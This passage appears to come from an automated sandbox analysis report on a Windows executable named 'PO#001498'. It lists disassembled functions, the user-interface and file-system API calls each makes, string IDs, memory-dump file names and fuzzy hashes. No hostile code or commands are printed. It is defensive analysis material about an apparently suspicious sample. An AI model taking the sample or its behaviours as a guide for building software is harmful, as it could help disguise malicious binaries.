                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: Window$ItemMessageText$RectSend$ClientDesktopIconLoadMovePostTimer
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 3869813825-0
                                                                                                                                                                                                        • Opcode ID: d6d25c813e590b752cbfd9858452ff05e3d443d6a6ce6916d89e520ab15b373f
                                                                                                                                                                                                        • Instruction ID: 4e77de65cc6986e78e6be143d0a4b9e7f39e78804b6f4fc71fe9e35dfcfd5046
                                                                                                                                                                                                        • Opcode Fuzzy Hash: d6d25c813e590b752cbfd9858452ff05e3d443d6a6ce6916d89e520ab15b373f
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 8C616D71604701AFD320DF68CD88F2BB7E8AB88709F004E1DF98697691D7B8E849CB55
                                                                                                                                                                                                        Function 00458D1C Relevance: 25.6, APIs: 17, Instructions: 112COMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        • LoadCursorW.USER32(00000000,00007F8A), ref: 00458D2D
                                                                                                                                                                                                        • LoadCursorW.USER32(00000000,00007F00), ref: 00458D3A
                                                                                                                                                                                                        • LoadCursorW.USER32(00000000,00007F03), ref: 00458D47
                                                                                                                                                                                                        • LoadCursorW.USER32(00000000,00007F8B), ref: 00458D54
                                                                                                                                                                                                        • LoadCursorW.USER32(00000000,00007F01), ref: 00458D61
                                                                                                                                                                                                        • LoadCursorW.USER32(00000000,00007F81), ref: 00458D6E
                                                                                                                                                                                                        • LoadCursorW.USER32(00000000,00007F88), ref: 00458D7B
                                                                                                                                                                                                        • LoadCursorW.USER32(00000000,00007F80), ref: 00458D88
                                                                                                                                                                                                        • LoadCursorW.USER32(00000000,00007F86), ref: 00458D95
                                                                                                                                                                                                        • LoadCursorW.USER32(00000000,00007F83), ref: 00458DA2
                                                                                                                                                                                                        • LoadCursorW.USER32(00000000,00007F85), ref: 00458DAF
                                                                                                                                                                                                        • LoadCursorW.USER32(00000000,00007F82), ref: 00458DBC
                                                                                                                                                                                                        • LoadCursorW.USER32(00000000,00007F84), ref: 00458DC9
                                                                                                                                                                                                        • LoadCursorW.USER32(00000000,00007F04), ref: 00458DD6
                                                                                                                                                                                                        • LoadCursorW.USER32(00000000,00007F02), ref: 00458DE3
                                                                                                                                                                                                        • LoadCursorW.USER32(00000000,00007F89), ref: 00458DF0
                                                                                                                                                                                                        • GetCursorInfo.USER32 ref: 00458E03
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: Cursor$Load$Info
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 2577412497-0
                                                                                                                                                                                                        • Opcode ID: 0c78b259ae472df09145ddf792cd37f85d2c816b82f1d484569203a38ef646a1
                                                                                                                                                                                                        • Instruction ID: 36b4ee280ed0253346847529aeb00c95e660e1b7f2a6688567eec4957a26740b
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 0c78b259ae472df09145ddf792cd37f85d2c816b82f1d484569203a38ef646a1
                                                                                                                                                                                                        • Instruction Fuzzy Hash: D9311671E4C3156AE7509F758C5AB1BBEE0AF40B54F004D2FF2889F2D1DAB9E4448B86
                                                                                                                                                                                                        Function 00469681 Relevance: 24.8, APIs: 13, Strings: 1, Instructions: 253windowCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        • PostMessageW.USER32(?,00000112,0000F060,00000000), ref: 004696CC
                                                                                                                                                                                                        • GetFocus.USER32 ref: 004696E0
                                                                                                                                                                                                        • GetDlgCtrlID.USER32(00000000), ref: 004696EB
                                                                                                                                                                                                        • PostMessageW.USER32(?,00000111,?,00000000), ref: 0046973F
                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: MessagePost$CtrlFocus
                                                                                                                                                                                                        • String ID: 0
                                                                                                                                                                                                        • API String ID: 1534620443-4108050209
                                                                                                                                                                                                        • Opcode ID: a7e7dd4ad94bd17b8779821b2562c3e74f4a4d43059232d4a161c8df91f382bc
                                                                                                                                                                                                        • Instruction ID: 7d80af5808d25915b866e76daf530f36ef8b085de22dc1c7fc8dbb607ae8adb7
                                                                                                                                                                                                        • Opcode Fuzzy Hash: a7e7dd4ad94bd17b8779821b2562c3e74f4a4d43059232d4a161c8df91f382bc
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 1591E1B1604301ABD710DF14D884BABB7A8FB89714F004A1EF99497391E7B4DC49CBAB
                                                                                                                                                                                                        Function 004680EB Relevance: 24.7, APIs: 13, Strings: 1, Instructions: 204windowCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        • _memset.LIBCMT ref: 00468107
                                                                                                                                                                                                        • GetMenuItemInfoW.USER32(?,00000007,00000000,?), ref: 00468190
                                                                                                                                                                                                        • GetMenuItemCount.USER32(?), ref: 00468227
                                                                                                                                                                                                        • DeleteMenu.USER32(?,00000005,00000000), ref: 004682B8
                                                                                                                                                                                                        • DeleteMenu.USER32(?,00000004,00000000), ref: 004682C1
                                                                                                                                                                                                        • DeleteMenu.USER32(?,00000006,00000000,?,00000004,00000000), ref: 004682CA
                                                                                                                                                                                                        • DeleteMenu.USER32(00000000,00000003,00000000,?,00000006,00000000,?,00000004,00000000), ref: 004682D3
                                                                                                                                                                                                        • GetMenuItemCount.USER32 ref: 004682DC
                                                                                                                                                                                                        • SetMenuItemInfoW.USER32 ref: 00468317
                                                                                                                                                                                                        • GetCursorPos.USER32(00000000), ref: 00468322
                                                                                                                                                                                                        • SetForegroundWindow.USER32(?), ref: 0046832D
                                                                                                                                                                                                        • TrackPopupMenuEx.USER32(?,00000000,00000000,00000006,?,00000000,?,?,00000006,00000000,?,00000004,00000000), ref: 00468345
                                                                                                                                                                                                        • PostMessageW.USER32(?,00000000,00000000,00000000), ref: 00468352
                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: Menu$DeleteItem$CountInfo$CursorForegroundMessagePopupPostTrackWindow_memset
                                                                                                                                                                                                        • String ID: 0
                                                                                                                                                                                                        • API String ID: 3993528054-4108050209
                                                                                                                                                                                                        • Opcode ID: d5573be1ba1a613c106f8e764602a2d45d8b266f51cd1eb04f60dea375430468
                                                                                                                                                                                                        • Instruction ID: a450cccb4b36e122d1eca3afa35c85d1e57e2007e4dd5bc50ce81cada7f4397f
                                                                                                                                                                                                        • Opcode Fuzzy Hash: d5573be1ba1a613c106f8e764602a2d45d8b266f51cd1eb04f60dea375430468
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 3C71C070648301ABE3309B14CC49F5BB7E8BF86724F244B0EF5A5563D1DBB9A8458B1B
                                                                                                                                                                                                        Function 0046F2B0 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 185windowfileCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        • DragQueryPoint.SHELL32(?,?), ref: 0046F2DA
                                                                                                                                                                                                          • Part of subcall function 00441CB4: ClientToScreen.USER32(00000000,?), ref: 00441CDE
                                                                                                                                                                                                          • Part of subcall function 00441CB4: GetWindowRect.USER32(?,?), ref: 00441D5A
                                                                                                                                                                                                          • Part of subcall function 00441CB4: PtInRect.USER32(?,?,?), ref: 00441D6F
                                                                                                                                                                                                        • SendMessageW.USER32(?), ref: 0046F34C
                                                                                                                                                                                                        • DragQueryFileW.SHELL32(?,000000FF,00000000,00000000), ref: 0046F355
                                                                                                                                                                                                        • DragQueryFileW.SHELL32(?,00000000,?,00000104), ref: 0046F37F
                                                                                                                                                                                                        • _wcscat.LIBCMT ref: 0046F3BC
                                                                                                                                                                                                        • SendMessageW.USER32(?,000000C2,00000001,?), ref: 0046F3D1
                                                                                                                                                                                                        • SendMessageW.USER32(?,000000B0,?,?), ref: 0046F3E3
                                                                                                                                                                                                        • SendMessageW.USER32(?,000000B1,?,?), ref: 0046F3F1
                                                                                                                                                                                                        • SendMessageW.USER32(?,000000B1,?,?), ref: 0046F40E
                                                                                                                                                                                                        • DragFinish.SHELL32(?), ref: 0046F414
                                                                                                                                                                                                        • DefDlgProcW.USER32(?,00000233,?,00000000,?,?,?), ref: 0046F4FC
                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: MessageSend$Drag$Query$FileRect$ClientFinishPointProcScreenWindow_wcscat
                                                                                                                                                                                                        • String ID: @GUI_DRAGFILE$@GUI_DRAGID$@GUI_DROPID
                                                                                                                                                                                                        • API String ID: 4085615965-3440237614
                                                                                                                                                                                                        • Opcode ID: e6dc8860684545ee98a9b737372e313d8034606243f87d3f07a4344f64e9a130
                                                                                                                                                                                                        • Instruction ID: d92027b63b9478c52a8b17f069484fb886a707b260a555cedefccfc898d4b85d
                                                                                                                                                                                                        • Opcode Fuzzy Hash: e6dc8860684545ee98a9b737372e313d8034606243f87d3f07a4344f64e9a130
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 596170716043009BD700EF54D885E5FB7A8FFC9714F104A2EF99097291D7B8A949CBAA
                                                                                                                                                                                                        Function 0044B988 Relevance: 24.6, APIs: 7, Strings: 7, Instructions: 73COMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: __wcsicoll
                                                                                                                                                                                                        • String ID: LEFT$MAIN$MENU$MIDDLE$PRIMARY$RIGHT$SECONDARY
                                                                                                                                                                                                        • API String ID: 3832890014-4202584635
                                                                                                                                                                                                        • Opcode ID: 3f0b73fdde0a53fb0a00575eab05b85141dd4a2dcfcc4ab19f269ee93bd0b8a8
                                                                                                                                                                                                        • Instruction ID: bf73cd225697d97a5a257e466bf5c8c79b4efa22739c650e03c6b1f9c6e9338c
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 3f0b73fdde0a53fb0a00575eab05b85141dd4a2dcfcc4ab19f269ee93bd0b8a8
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 1D01616160562122FE11322A7C03BDF15898F5139AF14447BFC05F1282FF4DDA8692EE
                                                                                                                                                                                                        Function 00466999 Relevance: 23.1, APIs: 11, Strings: 2, Instructions: 312COMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        • _memset.LIBCMT ref: 004669C4
                                                                                                                                                                                                        • _wcsncpy.LIBCMT ref: 00466A21
                                                                                                                                                                                                        • _wcsncpy.LIBCMT ref: 00466A4D
                                                                                                                                                                                                          • Part of subcall function 0040FFF0: _wcslen.LIBCMT ref: 0040FFF2
                                                                                                                                                                                                          • Part of subcall function 0040FFF0: _wcscpy.LIBCMT ref: 00410012
                                                                                                                                                                                                        • _wcstok.LIBCMT ref: 00466A90
                                                                                                                                                                                                          • Part of subcall function 004142A3: __getptd.LIBCMT ref: 004142A9
                                                                                                                                                                                                        • _wcstok.LIBCMT ref: 00466B3F
                                                                                                                                                                                                        • _wcscpy.LIBCMT ref: 00466BC8
                                                                                                                                                                                                        • GetOpenFileNameW.COMDLG32(00000058), ref: 00466CFE
                                                                                                                                                                                                        • _wcslen.LIBCMT ref: 00466D1D
                                                                                                                                                                                                        • _memset.LIBCMT ref: 00466BEE
                                                                                                                                                                                                          • Part of subcall function 004021E0: _wcslen.LIBCMT ref: 004021F2
                                                                                                                                                                                                        • _wcslen.LIBCMT ref: 00466D4B
                                                                                                                                                                                                        • GetSaveFileNameW.COMDLG32(00000058), ref: 00466D9E
                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: _wcslen$FileName_memset_wcscpy_wcsncpy_wcstok$OpenSave__getptd
                                                                                                                                                                                                        • String ID: X$HH
                                                                                                                                                                                                        • API String ID: 3021350936-1944015008
                                                                                                                                                                                                        • Opcode ID: 148ffd08a53066c169799d7010fd2328abbb1436974d200da898f01e024381e3
                                                                                                                                                                                                        • Instruction ID: 73e83d7ea4d12cbe09e247b0b8120e99e9ae8af51722f6ce2f45a1bbad6557a4
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 148ffd08a53066c169799d7010fd2328abbb1436974d200da898f01e024381e3
                                                                                                                                                                                                        • Instruction Fuzzy Hash: D1C1B2715043408BC714EF65C981A9FB3E4BF84304F15892FF949AB292EB78E905CB9B
                                                                                                                                                                                                        Function 0045F48E Relevance: 23.0, APIs: 12, Strings: 1, Instructions: 226windowsleepCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        • _memset.LIBCMT ref: 0045F4AE
                                                                                                                                                                                                        • GetMenuItemInfoW.USER32(?,?,00000000,?), ref: 0045F519
                                                                                                                                                                                                        • SetMenuItemInfoW.USER32(00000008,00000004,00000000,?), ref: 0045F556
                                                                                                                                                                                                        • Sleep.KERNEL32(000001F4,?,?,00000000,?), ref: 0045F568
                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: InfoItemMenu$Sleep_memset
                                                                                                                                                                                                        • String ID: 0
                                                                                                                                                                                                        • API String ID: 1504565804-4108050209
                                                                                                                                                                                                        • Opcode ID: b2eb264578549714347dca4c6cc1c63db220fd8d89572d1a81e0d1d82c6caf25
                                                                                                                                                                                                        • Instruction ID: 9e8996cb251b45e9fd8013479734a73363ce4640cf951279a7d2fdadd0934edb
                                                                                                                                                                                                        • Opcode Fuzzy Hash: b2eb264578549714347dca4c6cc1c63db220fd8d89572d1a81e0d1d82c6caf25
                                                                                                                                                                                                        • Instruction Fuzzy Hash: E171E3711043406BD3109F54DD48FABBBE8EBD5306F04086FFD8587252D6B9A94EC76A
                                                                                                                                                                                                        Function 004556F8 Relevance: 23.0, APIs: 11, Strings: 2, Instructions: 216COMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        • DestroyWindow.USER32(?,004A83D8,?), ref: 00455800
                                                                                                                                                                                                        • CreateWindowExW.USER32(00000008,tooltips_class32,00000000,?,80000000,80000000,80000000,80000000,?,00000000,00400000,00000000), ref: 00455847
                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: Window$CreateDestroy
                                                                                                                                                                                                        • String ID: ,$tooltips_class32
                                                                                                                                                                                                        • API String ID: 1109047481-3856767331
                                                                                                                                                                                                        • Opcode ID: 0ca5ab61cf6a2cad142a114e1c8ac043728d1bef212d4075191e352a737c6d07
                                                                                                                                                                                                        • Instruction ID: af4df8b80438f92fd5356fe82daba85812243c44dff517d7eb602cf52e2cfce3
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 0ca5ab61cf6a2cad142a114e1c8ac043728d1bef212d4075191e352a737c6d07
                                                                                                                                                                                                        • Instruction Fuzzy Hash: BF719075244704AFE320DB28CC85F7B77E4EB89700F50491EFA8197391E6B5E905CB59
                                                                                                                                                                                                        Function 0045CBCC Relevance: 23.0, APIs: 12, Strings: 1, Instructions: 202COMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        • _wcsncpy.LIBCMT ref: 0045CCFA
                                                                                                                                                                                                        • __wsplitpath.LIBCMT ref: 0045CD3C
                                                                                                                                                                                                        • _wcscat.LIBCMT ref: 0045CD51
                                                                                                                                                                                                        • _wcscat.LIBCMT ref: 0045CD63
                                                                                                                                                                                                        • GetCurrentDirectoryW.KERNEL32(00000104,?,?,?,?,?,?,?,00000104,?), ref: 0045CD78
                                                                                                                                                                                                        • SetCurrentDirectoryW.KERNEL32(?,?,?,?,?,?,?,00000104,?), ref: 0045CD8C
                                                                                                                                                                                                          • Part of subcall function 00436AC4: GetFileAttributesW.KERNEL32(?,0044BD82,?,?,?), ref: 00436AC9
                                                                                                                                                                                                        • GetFileAttributesW.KERNEL32(?,?,?,?,?,?,?,?,00000104,?), ref: 0045CDD0
                                                                                                                                                                                                        • SetFileAttributesW.KERNEL32(?,?,?,?,?,?,?,?,?,00000104,?), ref: 0045CDE6
                                                                                                                                                                                                        • SetCurrentDirectoryW.KERNEL32(?,?,?,?,?,?,?,?,00000104,?), ref: 0045CDF8
                                                                                                                                                                                                        • SetCurrentDirectoryW.KERNEL32(?), ref: 0045CE08
                                                                                                                                                                                                        • _wcscpy.LIBCMT ref: 0045CE14
                                                                                                                                                                                                        • SetCurrentDirectoryW.KERNEL32(?,?,?,?,?,?,?,?,00000104,?), ref: 0045CE5A
                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: CurrentDirectory$AttributesFile$_wcscat$__wsplitpath_wcscpy_wcsncpy
                                                                                                                                                                                                        • String ID: *.*
                                                                                                                                                                                                        • API String ID: 1153243558-438819550
                                                                                                                                                                                                        • Opcode ID: 5bfa431d4ef7075d2dc920e4199facb1e2714bc7465ef22df03346902ac9b5e5
                                                                                                                                                                                                        • Instruction ID: 4b7f18f3392d5c51d0b0bcfc25b88d1348604f1c1aa494fd035d881d108a9fe9
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 5bfa431d4ef7075d2dc920e4199facb1e2714bc7465ef22df03346902ac9b5e5
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 0561E5B61043419FD731EF54C885AEBB7E4EB84305F44882FED8983242D67D998E879E
                                                                                                                                                                                                        Function 0045510D Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 115windowCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        • _memset.LIBCMT ref: 00455127
                                                                                                                                                                                                        • GetMenuItemInfoW.USER32 ref: 00455146
                                                                                                                                                                                                        • DeleteMenu.USER32(?,?,00000000), ref: 004551B2
                                                                                                                                                                                                        • DeleteMenu.USER32(?,?,00000000), ref: 004551C8
                                                                                                                                                                                                        • GetMenuItemCount.USER32(?), ref: 004551D9
                                                                                                                                                                                                        • SetMenu.USER32(?,00000000), ref: 004551E7
                                                                                                                                                                                                        • DestroyMenu.USER32(?,?,00000000), ref: 004551F4
                                                                                                                                                                                                        • DrawMenuBar.USER32 ref: 00455207
                                                                                                                                                                                                        • DeleteObject.GDI32(?), ref: 0045564E
                                                                                                                                                                                                        • DeleteObject.GDI32(?), ref: 0045565C
                                                                                                                                                                                                        • DestroyIcon.USER32(?,?,?,?,?), ref: 0045566A
                                                                                                                                                                                                        • DestroyWindow.USER32(?,?,?,?,?), ref: 00455678
                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: Menu$Delete$Destroy$ItemObject$CountDrawIconInfoWindow_memset
                                                                                                                                                                                                        • String ID: 0
                                                                                                                                                                                                        • API String ID: 1663942905-4108050209
                                                                                                                                                                                                        • Opcode ID: 9367fca2e423954c8e95e5664296e443175f4f0a3dc8af8de701f007cae6aaa4
                                                                                                                                                                                                        • Instruction ID: b4bdd7d0bd4ee66815c45afb4cba49e6688c1fb7c5fb2b704b87d0eb3faa17d4
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 9367fca2e423954c8e95e5664296e443175f4f0a3dc8af8de701f007cae6aaa4
                                                                                                                                                                                                        • Instruction Fuzzy Hash: F4413B70600A01AFD715DF24D9A8B6B77A8BF44302F40891DFD49CB292DB78EC44CBA9
                                                                                                                                                                                                        Function 00415C25 Relevance: 22.7, APIs: 15, Instructions: 236COMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Memory Dump Source
